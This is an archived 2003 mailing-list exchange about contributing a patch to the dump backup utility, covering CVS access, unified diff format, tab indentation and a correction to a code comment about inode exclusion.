On Tue, Jan 14, 2003 at 09:50:00AM +0100, Stelian Pop wrote: > On Mon, Jan 13, 2003 at 11:27:39PM -0500, PeterKorman wrote: > > > > > I have a patch for the current version, but until I'm running it for at least a week > > I'm not comfortable with posting it. > > Please use the latest CVS version, it will be easier for me to > integrate your changes. U got it. > CVS access instructions are on http://dump.sourceforge.net, then > follow the links. > > Please generate the diffs in unified diff format: > diff -uNr dump.orig/ dump.modified/ I wasn't adding files, so I was doing: for i in $(find old -print | sed -e 's=old/==') do diff -C6 $old/$i $new/$i done But the -r option looks like it could be less work, the -Ux option is easier to read, and if you dont want extra context lines, the -u option is easier to type;-) I didn't see your patch format till I realized I patched the wrong version. I was hoping to see no changes to main.c in 31->32. Not only were there changes, there were changes in the same routines. I hate it when that happenz. > Please use <TAB> characters instead of spaces. And let it be > 8 characters wide. Do you run an entab program? Which one? How bout GNU indent? It usually sucks for comments but otherwise itz pretty good. Itz ez for me to do it by hand for a small change, but when I've had to maintain a project bigger than 1 file with more than 1 person making changes, indent is nearly as good as prozac. Cheers, JPK |
From: PeterKorman <cal...@ei...> - 2003-01-13 18:26:23
|
On Mon, Jan 13, 2003 at 12:05:26PM -0500, PeterKorman wrote: > /* > * This tests adds an inode to the exclusion list if it isn't already there > */ This comment in the patch is incorrect. Since I modified do_exclude_ino to unconditionaly add all valid inodes, even duplicates. JPK |